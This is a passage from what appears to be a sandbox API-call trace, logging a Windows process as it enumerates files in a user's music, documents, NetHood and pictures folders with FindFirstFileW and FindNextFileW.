dwReserved1=0x0, cFileName="8HrfWqZar65w.wav", cAlternateFileName="8HRFWQ~1.WAV")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572fa090, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0x20deaa40, ftLastAccessTime.dwHighDateTime=0x1d4d033, ftLastWriteTime.dwLowDateTime=0x20deaa40, ftLastWriteTime.dwHighDateTime=0x1d4d033, nFileSizeHigh=0x0, nFileSizeLow=0x1407d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bS4AaW9eUKRKSJX2c.m4a", cAlternateFileName="BS4AAW~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x281151c0, ftCreationTime.dwHighDateTime=0x1d4c703, ftLastAccessTime.dwLowDateTime=0x13b7a0e0, ftLastAccessTime.dwHighDateTime=0x1d4ceb9, ftLastWriteTime.dwLowDateTime=0x13b7a0e0, ftLastWriteTime.dwHighDateTime=0x1d4ceb9, nFileSizeHigh=0x0, nFileSizeLow=0xf8a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eySD-sWxKcR.m4a", cAlternateFileName="EYSD-S~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5ed860, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xf19cd60, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0xf19cd60, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0x8974, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FB pP.m4a", cAlternateFileName="FBPP~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56121b0, ftCreationTime.dwHighDateTime=0x1d4c92d, ftLastAccessTime.dwLowDateTime=0xf5f67880, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0xf5f67880, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0xc15f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FC0AY.wav", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2993080, ftCreationTime.dwHighDateTime=0x1d4c54d, ftLastAccessTime.dwLowDateTime=0xff7df40, ftLastAccessTime.dwHighDateTime=0x1d4cad3, ftLastWriteTime.dwLowDateTime=0xff7df40, ftLastWriteTime.dwHighDateTime=0x1d4cad3, nFileSizeHigh=0x0, nFileSizeLow=0x1e1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FiSO1uvHs5.wav", cAlternateFileName="FISO1U~1.WAV")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0e4350, ftCreationTime.dwHighDateTime=0x1d4d545, ftLastAccessTime.dwLowDateTime=0xb4eb1600, ftLastAccessTime.dwHighDateTime=0x1d4c927, ftLastWriteTime.dwLowDateTime=0xb4eb1600, ftLastWriteTime.dwHighDateTime=0x1d4c927, nFileSizeHigh=0x0, nFileSizeLow=0x4015, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQh6.wav", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed98bcc0, ftCreationTime.dwHighDateTime=0x1d4ccf9, ftLastAccessTime.dwLowDateTime=0xb6648650, ftLastAccessTime.dwHighDateTime=0x1d4d4fe, ftLastWriteTime.dwLowDateTime=0xb6648650, ftLastWriteTime.dwHighDateTime=0x1d4d4fe, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g9mcoi9dYhMEy.m4a", cAlternateFileName="G9MCOI~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c2b2e10, ftCreationTime.dwHighDateTime=0x1d4cca7, ftLastAccessTime.dwLowDateTime=0xe3b85f50, ftLastAccessTime.dwHighDateTime=0x1d4ca81, ftLastWriteTime.dwLowDateTime=0xe3b85f50, ftLastWriteTime.dwHighDateTime=0x1d4ca81, nFileSizeHigh=0x0, nFileSizeLow=0x1882f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H94nos6VqWF8Oqje.m4a", cAlternateFileName="H94NOS~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef896830, ftCreationTime.dwHighDateTime=0x1d4ca93, ftLastAccessTime.dwLowDateTime=0x8bffacb0, ftLastAccessTime.dwHighDateTime=0x1d4cf71, ftLastWriteTime.dwLowDateTime=0x8bffacb0, ftLastWriteTime.dwHighDateTime=0x1d4cf71, nFileSizeHigh=0x0, nFileSizeLow=0x13964, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H99vbmXS7JVu8GvPT.mp3", cAlternateFileName="H99VBM~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf17b050, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0x3915a1e0, ftLastAccessTime.dwHighDateTime=0x1d4c5f7, ftLastWriteTime.dwLowDateTime=0x3915a1e0, ftLastWriteTime.dwHighDateTime=0x1d4c5f7, nFileSizeHigh=0x0, nFileSizeLow=0xef9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hf0MR7KC2v0S0EFbF.mp3", cAlternateFileName="HF0MR7~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e647770, ftCreationTime.dwHighDateTime=0x1d4ccdc, ftLastAccessTime.dwLowDateTime=0x675d7230, ftLastAccessTime.dwHighDateTime=0x1d4c5ca, ftLastWriteTime.dwLowDateTime=0x675d7230, ftLastWriteTime.dwHighDateTime=0x1d4c5ca, nFileSizeHigh=0x0, nFileSizeLow=0xf0eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j nRVt1oLEKKj.m4a", cAlternateFileName="JNRVT1~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69fb970, ftCreationTime.dwHighDateTime=0x1d4cd42, ftLastAccessTime.dwLowDateTime=0xe0525960, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0xe0525960, ftLastWriteTime.dwHighDateTime=0x1d4d373, nFileSizeHigh=0x0, nFileSizeLow=0x182e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jgXL.wav", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e01b310, ftCreationTime.dwHighDateTime=0x1d4d40b, ftLastAccessTime.dwLowDateTime=0xc8afb8e0, ftLastAccessTime.dwHighDateTime=0x1d4d182, ftLastWriteTime.dwLowDateTime=0xc8afb8e0, ftLastWriteTime.dwHighDateTime=0x1d4d182, nFileSizeHigh=0x0, nFileSizeLow=0x11d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MyJjOnayKnFCwyo3.m4a", cAlternateFileName="MYJJON~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af8920, ftCreationTime.dwHighDateTime=0x1d4ce27, ftLastAccessTime.dwLowDateTime=0xdf4e5490, ftLastAccessTime.dwHighDateTime=0x1d4d00a, ftLastWriteTime.dwLowDateTime=0xdf4e5490, ftLastWriteTime.dwHighDateTime=0x1d4d00a, nFileSizeHigh=0x0, nFileSizeLow=0x8066, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nh7G7MoNq.wav", cAlternateFileName="NH7G7M~1.WAV")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2514d40, ftCreationTime.dwHighDateTime=0x1d4c81a, ftLastAccessTime.dwLowDateTime=0x34ca210, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x34ca210, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fb9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTjyCO-pmQ3AS.mp3", cAlternateFileName="NTJYCO~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad9e4f0, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0x43e4fff0, ftLastAccessTime.dwHighDateTime=0x1d4d4b4, ftLastWriteTime.dwLowDateTime=0x43e4fff0, ftLastWriteTime.dwHighDateTime=0x1d4d4b4, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O841-zc0Cz.m4a", cAlternateFileName="O841-Z~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0cbab0, ftCreationTime.dwHighDateTime=0x1d4c645, ftLastAccessTime.dwLowDateTime=0x5be44940, ftLastAccessTime.dwHighDateTime=0x1d4cb8a, ftLastWriteTime.dwLowDateTime=0x5be44940, ftLastWriteTime.dwHighDateTime=0x1d4cb8a, nFileSizeHigh=0x0, nFileSizeLow=0xa724, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PBGnAJbjKeNYoVmuXsp.wav", cAlternateFileName="PBGNAJ~1.WAV")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abf53c0, ftCreationTime.dwHighDateTime=0x1d4c861, ftLastAccessTime.dwLowDateTime=0xacae01c0, ftLastAccessTime.dwHighDateTime=0x1d4c682, ftLastWriteTime.dwLowDateTime=0xacae01c0, ftLastWriteTime.dwHighDateTime=0x1d4c682, nFileSizeHigh=0x0, nFileSizeLow=0x1481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POR XU-fcmkfoFYhwpS_.mp3", cAlternateFileName="PORXU-~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbba09280, ftCreationTime.dwHighDateTime=0x1d4ce82, ftLastAccessTime.dwLowDateTime=0xeaff33b0, ftLastAccessTime.dwHighDateTime=0x1d4ca68, ftLastWriteTime.dwLowDateTime=0xeaff33b0, ftLastWriteTime.dwHighDateTime=0x1d4ca68, nFileSizeHigh=0x0, nFileSizeLow=0x15524, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ptcryHpXY3gBNb.m4a", cAlternateFileName="PTCRYH~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952903c0, ftCreationTime.dwHighDateTime=0x1d4c6f4, ftLastAccessTime.dwLowDateTime=0xd1d9ca20, ftLastAccessTime.dwHighDateTime=0x1d4c87f, ftLastWriteTime.dwLowDateTime=0xd1d9ca20, ftLastWriteTime.dwHighDateTime=0x1d4c87f, nFileSizeHigh=0x0, nFileSizeLow=0x1191d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qpbO.wav", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9d31d0, ftCreationTime.dwHighDateTime=0x1d4cdb0, ftLastAccessTime.dwLowDateTime=0xe7a65cc0, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0xe7a65cc0, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x1464c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4IWsPZvnadFRmzK.mp3", cAlternateFileName="S4IWSP~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb028c20, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x6db21720, ftLastAccessTime.dwHighDateTime=0x1d4d543, ftLastWriteTime.dwLowDateTime=0x6db21720, ftLastWriteTime.dwHighDateTime=0x1d4d543, nFileSizeHigh=0x0, nFileSizeLow=0x13681, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SIP IIj4TyP2E.mp3", cAlternateFileName="SIPIIJ~1.MP3")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7e1c60, ftCreationTime.dwHighDateTime=0x1d4d411, ftLastAccessTime.dwLowDateTime=0xee1d1960, ftLastAccessTime.dwHighDateTime=0x1d4d588, ftLastWriteTime.dwLowDateTime=0xee1d1960, ftLastWriteTime.dwHighDateTime=0x1d4d588, nFileSizeHigh=0x0, nFileSizeLow=0x11fe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOIg.mp3", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7cb1e60, ftCreationTime.dwHighDateTime=0x1d4c683, ftLastAccessTime.dwLowDateTime=0x9c57e600, ftLastAccessTime.dwHighDateTime=0x1d4ca8e, ftLastWriteTime.dwLowDateTime=0x9c57e600, ftLastWriteTime.dwHighDateTime=0x1d4ca8e, nFileSizeHigh=0x0, nFileSizeLow=0x182fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpwIY0qQ5DxtnlG-Nb.m4a", cAlternateFileName="SPWIY0~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea553660, ftCreationTime.dwHighDateTime=0x1d4cdfd, ftLastAccessTime.dwLowDateTime=0x3c6b57e0, ftLastAccessTime.dwHighDateTime=0x1d4d371, ftLastWriteTime.dwLowDateTime=0x3c6b57e0, ftLastWriteTime.dwHighDateTime=0x1d4d371, nFileSizeHigh=0x0, nFileSizeLow=0x9079, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="th0xZ3rZW1yj.m4a", cAlternateFileName="TH0XZ3~1.M4A")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2792b0, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0xebf4c7b0, ftLastAccessTime.dwHighDateTime=0x1d4d302, ftLastWriteTime.dwLowDateTime=0xebf4c7b0, ftLastWriteTime.dwHighDateTime=0x1d4d302, nFileSizeHigh=0x0, nFileSizeLow=0xe8f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="unP_Med.m4a", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8802b010, ftCreationTime.dwHighDateTime=0x1d4cb40, ftLastAccessTime.dwLowDateTime=0xd6ded180, ftLastAccessTime.dwHighDateTime=0x1d4d56f, ftLastWriteTime.dwLowDateTime=0xd6ded180, ftLastWriteTime.dwHighDateTime=0x1d4d56f, nFileSizeHigh=0x0, nFileSizeLow=0x128ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wcuQuzjX.wav", cAlternateFileName="")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a3ae10, ftCreationTime.dwHighDateTime=0x1d4c615, ftLastAccessTime.dwLowDateTime=0xd531abe0, ftLastAccessTime.dwHighDateTime=0x1d4cae9, ftLastWriteTime.dwLowDateTime=0xd531abe0, ftLastWriteTime.dwHighDateTime=0x1d4cae9, nFileSizeHigh=0x0, nFileSizeLow=0xafaf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WqT6i1.m4a", cAlternateFileName="")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525efb0, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7f0aba90, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0x7f0aba90, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0xfeb5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y9xtUA5iI6IPOKUD.wav", cAlternateFileName="Y9XTUA~1.WAV")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd670e740, ftCreationTime.dwHighDateTime=0x1d4cf4a, ftLastAccessTime.dwLowDateTime=0xac2ad00, ftLastAccessTime.dwHighDateTime=0x1d4c62f, ftLastWriteTime.dwLowDateTime=0xac2ad00, ftLastWriteTime.dwHighDateTime=0x1d4c62f, nFileSizeHigh=0x0, nFileSizeLow=0x14916, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z3UK3vFO8h-zCs4j.mp3", cAlternateFileName="Z3UK3V~1.MP3")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a55d40, ftCreationTime.dwHighDateTime=0x1d4c764, ftLastAccessTime.dwLowDateTime=0x5ab91680, ftLastAccessTime.dwHighDateTime=0x1d4cb18, ftLastWriteTime.dwLowDateTime=0x5ab91680, ftLastWriteTime.dwHighDateTime=0x1d4cb18, nFileSizeHigh=0x0, nFileSizeLow=0xb7e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBi4Ka.wav", cAlternateFileName="")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17babc70, ftCreationTime.dwHighDateTime=0x1d4cfd3, ftLastAccessTime.dwLowDateTime=0x56510790, ftLastAccessTime.dwHighDateTime=0x1d4d583, ftLastWriteTime.dwLowDateTime=0x56510790, ftLastWriteTime.dwHighDateTime=0x1d4d583, nFileSizeHigh=0x0, nFileSizeLow=0x1441e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zyzE7.m4a", cAlternateFileName="")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 1 [0116.540] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0 [0116.540] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.540] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.540] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0116.540] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.540] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.540] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.540] PathFindFileNameW (pszPath="") returned="" [0116.540] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0xffffffff [0116.540] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.540] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0116.540] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.540] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.540] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.540] PathFindFileNameW (pszPath="") returned="" [0116.540] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0xffffffff [0116.541] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.541] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0116.541] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.541] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.541] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.541] PathFindFileNameW (pszPath="") returned="" [0116.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69788fc0, ftCreationTime.dwHighDateTime=0x1d4c627, ftLastAccessTime.dwLowDateTime=0xc9fbfb50, ftLastAccessTime.dwHighDateTime=0x1d4d36c, ftLastWriteTime.dwLowDateTime=0xc9fbfb50, ftLastWriteTime.dwHighDateTime=0x1d4d36c, nFileSizeHigh=0x0, nFileSizeLow=0x159aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3vMt_2q3fAah.png", cAlternateFileName="3VMT_2~1.PNG")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd933c30, ftCreationTime.dwHighDateTime=0x1d4c91b, ftLastAccessTime.dwLowDateTime=0x73d89670, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x73d89670, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0xcef1, dwReserved0=0xa0000003, dwReserved1=0x0, 